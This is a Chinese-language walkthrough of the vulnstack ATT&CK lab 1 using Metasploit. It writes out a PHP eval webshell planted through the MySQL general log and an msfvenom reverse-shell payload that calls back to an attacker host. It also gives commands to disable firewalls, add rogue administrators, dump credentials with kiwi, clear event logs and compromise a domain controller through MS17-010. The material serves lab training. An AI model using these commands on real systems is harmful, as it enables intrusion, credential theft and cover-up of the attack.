Windows系统——ATT&CK靶场(一)——MSF方式


前言

      windows系统的靶场太少了,就在重做一遍巩固下windows内网相关的基础知识和MSF的使用,本文涉及知识点有:环境搭建,nmap使用,mysql日志文件写 shell,yxcms历史漏洞,进程迁移,提权,kiwi模块使用,3389相关,配置路由和代理,横向移动,msf相关使用等。ATT&CK靶场(一)下载地址为:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/。


一、环境搭建

     1)文件下载下来解压后有三个文件夹,双击各个文件夹中的.vmx文件即可一键创建虚拟机,初始密码都为hongrisec@2019,win2003和winserver2008登录时需更改密码,记录一下本文三个虚拟机密码均已改成:123456.com。
在这里插入图片描述
     2)查看官方给的拓扑图,并简单分析说明:

  • 官方是kali作为攻击机,本文也是
  • win7是双网卡,所以需要再添加一个网卡2,先把网卡1变成VMnet1(仅主机模式)
  • win2003和winserver2008还有win7的网卡1都在一个网段里,都设置成自定义VMnet1(仅主机模式)
  • win7的网卡2和kali是在一个网段里,都设置成NAT模式
  • win7是在DMZ区域的web服务器,win2003是域成员,winserver2008是域控。
    在这里插入图片描述
         3)配置win7虚拟机,网络适配器设置VMnet1(仅主机模式)模式,然后再添加一个网络适配器2,设置成自定义NAT。
    在这里插入图片描述
         4)win7的外网网卡需要设置成公用网络,否则kali访问不了win7的web服务器
    在这里插入图片描述
         5)kali作为攻击机也设置成NAT模式。
    在这里插入图片描述
         6)win2003和winserver2008都设置成自定义VMnet1(仅主机模式)。
    在这里插入图片描述
    在这里插入图片描述
         7)最后连通性测试一下,win7虚拟机和攻击机kali、win2003、winserver2008都可以ping通。
    在这里插入图片描述
         8)kali攻击机ping不通win7,win7有防火墙设置。最后附最终配置说明:
虚拟机名称ip
kali192.168.231.133
win7(Web服务器)网卡1:192.168.231.135 / 网卡2:192.168.52.143
win2003(域成员)192.168.52.141
winserver2008(域控)192.168.52.138

           9)win7需启动phpstudy,然后就可以开始打靶了。

在这里插入图片描述

二、Web部分

     1)namp使用ICMP协议做C段主机存活探测,发现192.168.231.135地址。
在这里插入图片描述
     2)扫描主机192.168.231.135的端口,发现80和3306。
在这里插入图片描述
     3)先访问80端口,发现是phpstudy探针,查看下信息,发现绝对路径:C:/phpStudy/WWW。
在这里插入图片描述
     4)翻到最下边的时候发现连接数据库设置,把常见的弱口令测试下,发现root/root连接成功,获取到信息mysql弱口令。
在这里插入图片描述
     5)尝试直接拼接路径phpmyadmin,发现成功访问,在使用弱口令登录。
在这里插入图片描述
     6)因为有之前在探针上发现的绝对路径加上root权限,所以在查看secure_file_priv 值,发现为NULL,所以不能够导入或导出,就不能利用into outfile写shell了,条件不满足。

show global variables like '%secure%';

在这里插入图片描述
     7)尝试利用全局日志文件写shell,在变量中搜索general,查看日志状态,默认是关闭的,因为这个日志的量非常大对资源是一个比较大的开销。
在这里插入图片描述

     8)开启日志功能,并指定新的日志路径为:C:/phpStudy/WWW/shell.php,注意实际测试中原路径一定要提前记下来,拿完shell后还要恢复原来的路径,由于是打靶机本文后续就不做这一步操作了。

set global general_log=on;
set global general_log_file='C:/phpStudy/WWW/shell.php'

在这里插入图片描述
在这里插入图片描述
     9)执行SQL语句,写入日志。

select '<?php eval($_POST[cmd]);?>'

在这里插入图片描述
     10)访问日志文件查看写入成功。
在这里插入图片描述
     11)关闭日志功能。

set global general_log= off;

在这里插入图片描述
     12)使用蚁剑连接,发现还有一个yxcms的系统和备份文件。
在这里插入图片描述
     13)访问yxcms系统。
在这里插入图片描述

     14)百度搜索yxcms历史漏洞,发现有很多选择登录拿shell的方式。找到管理员登录界面,使用admin/123456成功登录。

	http://192.168.52.120/yxcms/index.php?r=admin/index/login

在这里插入图片描述
在这里插入图片描述
     15)然后可通过前台模板的功能写入shell,因为已经有一个了,就不演示了。
在这里插入图片描述
     16)使用tasklist命令,查询进程及服务看是否存在360,火绒等防护软件,本文没有。
在这里插入图片描述

三、内网部分(MSF方式)

     1)反弹shell,用msf生成一个exe程序,回连地址为kali。

msfvenom -p windows/meterpreter_reverse_tcp LHOST=192.168.231.133  LPORT=25001 -f exe -o shell.exe 

在这里插入图片描述
     2)打开msfconsole,开启监听。

use exploit/multi/handler 
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.231.133
set lport 25001
run

在这里插入图片描述
     3)先把生成的shell.exe文件增加可执行权限,然后通过蚁剑上传执行。在这里插入图片描述
在这里插入图片描述
     4)上线MSF。
在这里插入图片描述
     5)先进程迁移,一是获取的shell不太稳定,二是容易被发现,一般有两种:手动迁移和自动迁移,先来手动,使用 ps 命令查看进程。找到一个64位且权限为SYSTEM的进程进行迁移。
在这里插入图片描述
     6)我这里使用的是csrss.exe,pid为388,迁移成功。

	migrate 388

在这里插入图片描述
在这里插入图片描述
     7)第二种方式自动迁移进程,使用下面的命令:

	run post/windows/manage/migrate 

在这里插入图片描述
     8)在看看能不能提升权限,发现可以。

	getuid
	getsystem

在这里插入图片描述
     9)查看防火墙状态,发现开启,关闭防火墙。

netsh advfirewall show allprofiles state #查看防火墙状态
netsh advfirewall set allprofiles state off #关闭防火墙

在这里插入图片描述
在这里插入图片描述
     10)添加个用户并加入管理员组。

net user Mauro_K 123456.com /add    # 添加用户密码
net localgroup administrators Mauro_K /add    #把Mauro_K用户变为管理员权限
net user Mauro_K	#查看是否成功添加Mauro_K用户

在这里插入图片描述
     11)很多用户习惯将计算机设置自动登录,所以尝试抓取自动登录密码,发现没有配置。

# 抓取自动登录的密码
run windows/gather/credentials/windows_autologin

在这里插入图片描述
     12)使用wiki模块抓取用户名密码,加载kiwi模块,然后使用 creds_all 命令列举系统中的明文密码,可知密码为:hongrisec@2019。

load kiwi
creds_all  #获取系统中的明文密码
creds_msv  #获取密码hash值
creds_kerberos  #获取明文密码

在这里插入图片描述
在这里插入图片描述
     13)使用clearev命令清除事件日志。
在这里插入图片描述
     14)开启3389。

#开放3389端口
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f  

在这里插入图片描述
     15)使用rdesktop工具用新建的用户远程连接桌面。
在这里插入图片描述
     16)用msf做一些信息收集,使用 run get_local_subnets 命令,可知存在两个网段分别是192.168.52.0和192.168.231.0,当前主机是双网卡,使用 sysinfo 命令可知计算机名为STU1,并且存在GOD域。
在这里插入图片描述
在这里插入图片描述
     17)知道有另外的网段,可以查看路由表,看看另一个网段的具体ip地址。
在这里插入图片描述
     18)查看补丁信息为空,查看win7上安装了哪些软件,发现nmap。

	run post/windows/gather/enum_patches	#查看补丁信息
	run post/windows/gather/enum_applications	#查看已安装软件

在这里插入图片描述
     19)用msf收集基础信息不太方便,改用蚁剑,最后可以知道还有两个域用户分别是DEV1、ROOT-TVI862UBEH、域控制用户为OWA。

net group "domain computers" /domain		#查看域成员计算机列表
net group "domain admins" /domain  			#域管理员的名字

在这里插入图片描述
在这里插入图片描述
     20)添加录路由并查看。

run autoroute -s 192.168.52.0/24  #添加录路由
run autoroute -p  #查看路由
route print	 #查看路由

在这里插入图片描述
     21)先background一下,为了访问内网服务方便,设置 socks 代理,注意Socks 代理支持已被整合到单个辅助模块中了,默认版本是5可以使用tcp和udp的方式需设置账号密码,可切换版本。

background
use auxiliary/server/socks_proxy
set version 4a
set srvhost 192.168.231.133  #kali的ip不想更改默认也可以
set srvport 25002
run

在这里插入图片描述
     22)去掉 # 打开 dynamic_chain,在最下方添加代理ip和端口,不想改可直接使用默认的。如果遇到proxychains.conf 文件为空的情况,可把proxychains4.conf 中的文件内容复制过来,或者直接把proxychains.conf 文件删除,把proxychains4.conf 文件命名为proxychains.conf。proxychains不要启用DNS代理,要把proxy_dns用#注释掉,否则nmap扫描时会报错。

vim /etc/proxychains.conf

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
     23)测试是否能够访问内网ip,发现成功访问,配置成功。

proxychains curl http://192.168.52.143

在这里插入图片描述

四、横向移动(MSF方式)

     1)利用arp扫描内网主机。

use post/windows/gather/arp_scanner
set rhosts 192.168.52.0/24
set session 1
exploit

在这里插入图片描述
     2)扫描端口可以利用proxychains使用nmap扫描端口,或者使用win7自己安装的nmap直接扫描。

proxychains nmap -sT -Pn 192.168.52.138  #-Pn非ping扫描,-sT tcp连接扫描
proxychains nmap -sT -Pn 192.168.52.141

在这里插入图片描述
     3)还可以直接利用MSF自己的扫描模块,扫描速度很慢。

	use auxiliary/scanner/portscan/tcp
	set rhosts 192.168.52.138

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
     4)分别对之前的两台主机进行端口扫描后,发现都开放了445端口,使用nmap查看445端口是否存在常见漏洞,发现域成员主机192.168.52.141存在ms08-067和ms17-010,域控主机192.168.52.138存在ms17-010。

	proxychains nmap -sT -Pn -p445 --script=vuln 192.168.52.141

在这里插入图片描述
在这里插入图片描述
     5)先利用 use auxiliary/scanner/smb/smb_version 模块扫描域成员的系统版本,如果是低版本的服务器不建议利用容易蓝屏,发现2003可以说是非常低了。
在这里插入图片描述

     6)利用auxiliary/admin/smb/ms17_010_command模块执行命令,创建用户,开启3389,然后远程连接。

use auxiliary/admin/smb/ms17_010_command
set rhosts 192.168.52.141
set command net user Mauro_K 123456.com /add
run

在这里插入图片描述

set command net localgroup administrators Mauro_K /add
run

在这里插入图片描述

#开放3389端口
set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'
run  

在这里插入图片描述
     7)成功连接到远程桌面,windows2003域成员拿下。

	proxychains rdesktop 192.168.52.141:3389

在这里插入图片描述
在这里插入图片描述
     8)由于使用msf的代理之后就不能使用反向shell,所以需要一个正向shell就是Bind TCP方式,发现会话无效shell反弹失败。

use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/bind_tcp
set rhosts 192.168.52.141
run

在这里插入图片描述
     9)域控服务器如上步骤一样,利用auxiliary/admin/smb/ms17_010_command模块执行命令成功拿下。

use auxiliary/admin/smb/ms17_010_command
set rhosts 192.168.52.138
set command net user Mauro_A 123456.com /add
run

在这里插入图片描述

set command net localgroup administrators Mauro_A /add
run

在这里插入图片描述

set command net localgroup administrators  #查看是否添加成功

在这里插入图片描述

set command netsh firewall set opmode mode=disable  #关闭防火墙
run

在这里插入图片描述

#开放3389端口
set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'
run  

在这里插入图片描述
     10)成功连接到域控服务器的远程桌面。

	proxychains rdesktop 192.168.52.138:3389

在这里插入图片描述

五、总结笔记

     1)DMZ区域是为了解决安装防火墙后外部网络的访问用户不能访问内部网络服务器的问题,而设立的一个非安全系统与安全系统之间的缓冲区。该缓冲区位于企业内部网络和外部网络之间的小网络区域内。在这个小网络区域内可以放置一些必须公开的服务器(如企业Web服务器、FTP服务器和论坛等)。
     2)phpmyadmin利用select into outfile写shell前提条件:

  • 数据库当前用户为root权限
  • 知道当前网站的绝对路径并且有写入权限
  • secure_file_priv没有具体值
  • PHP的magic_quotes_gpc为 off 状态,因为 magic_quotes_gpc:开启时,会对 ’ 单引号进行转义,使其变成“\”反斜杠,而写shell语句需要用到单引号。

     3)查看secure_file_priv值,发现secure_file_priv值为NULL。

	在 MySQL 5.5 之前 secure_file_priv 默认为空
	在 MySQL 5.5 之后 secure_file_priv 默认为NULL
	当 secure_file_priv 的值为 NULL ,表示限制 mysql 不允许导入或导出,此时无法提权
	当 secure_file_priv 的值为 /tmp/ ,表示限制 mysql 的导入或导出只能发生在 /tmp/ 
目录下,此时也无法提权
	当 secure_file_priv 的值没有具体值时,表示不对 mysql 的导入或导出做限制,此时可提权
	show global variables like '%secure%';

在这里插入图片描述
     4)secure_file_priv 是用来限制 load_file()、into outfile、into dumpfile这些函数,只有在指定的目录下才能拥有上传或者读取文件的权限。

load_file()  #读取指定文件
into outfile  #将查询的数据写入文件中
into dumpfile  #将查询的数据写入文件中 (只能写入一行数据)
sqlmap: --file-write 要写入的文件 --file-dest 写入的绝对路径

     5)MSF加载使用kiwi模块获取密码时,需要注意当前获取的shell权限需要system权限。提权到system有两个方法,一是当前的权限是 administrator 用户直接使用命令getsystem提权到system权限,二是利用其它手段先提权到administrator 用户。然后administrator 用户在使用getsystem命令提权到system 权限。
     6)利用MSF获取密码,两种方式一种是加载kiwi,本文内网部分中有使用到,另一种是使用hashdump命令。

# 从SAM导出密码哈希 需要SYSTEM权限 如果当前用户是域管理员用户,则可以导出域内所有用户的hash
run windows/gather/smart_hashdump
# 该命令需要系统权限,所以需提权后在抓取密码
run hashdump
# LM 哈希和NTLM 哈希均可通过MD5解密
用户哈希数据的输出格式为:用户名:SID:LM哈希:NTLM哈希:::   

在这里插入图片描述
     7)如果利用msf抓取密码的两种方式都没有成功,可以在目标机上,上传mimikatz工具来获取明文密码,需注意执行mimikatz必须System权限。或者使用 Procdump工具导出目标机的lsass.exe程序到本地在使用mimikatz获取密码。
     8)内网中基础信息收集

ipconfig /all    				#查询本机IP段
net config Workstation      	#当前计算机名,全名,用户名,域情况等
net user    					#本机用户列表
net view 						#查看域信息
net view /domain 				#查询主域信息
net time /domain 				#判断主域
net user /domain 				#当前域的所有用户
route print  					#路由信息
net group "domain computers" /domain		#查看域成员计算机列表
net group "domain admins" /domain  			#域管理员的名字

     9)msf中一些命令的注释

	getuid 				 	 #查看权限 
	getpid 				 	 #获取当前进程的pid
	sysinfo 				 #查看目标机系统信息
	migrate pid值 			 #将Meterpreter会话移植到指定pid值进程中
	kill pid值 			 	 #杀死进程
	clearav 				 #清除windows中的应用程序日志、系统日志、安全日志
	background				 #将当前meterpreter的会话放置后台挂起
	sessions -i				 #查看已经获取的会话
	sessions -i ID 			 #连接到指定序号的meterpreter会话已继续利用
	run get_local_subnets	 #查看路由信息
	jobs 					 #查看当前几个代理

在这里插入图片描述
在这里插入图片描述
     10)MSF中ms17-010有关的模块简介。

# 存在ms17-010漏洞即可使用,不太稳定,容易被杀软识别,有概率导致目标机蓝屏
exploit/windows/smb/ms17_010_eternalblue 
# 需要命名管道开启,配合模块3,比模块1文档,可绕过一些杀软
exploit/windows/smb/ms17_010_psexec 
# 该模块是所有利用方法中最为稳定的,并且不会被杀软拦截等。可以直接通过命令添加用户、开启3389、关闭防火墙等操作。
auxiliary/admin/smb/ms17_010_command
# 用来探测ms17-010漏洞是否存在
auxiliary/scanner/smb/smb_ms17_010 
# 双倍脉冲模块
exploit/windows/smb/smb_doublepulsar_rce
  • 3
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值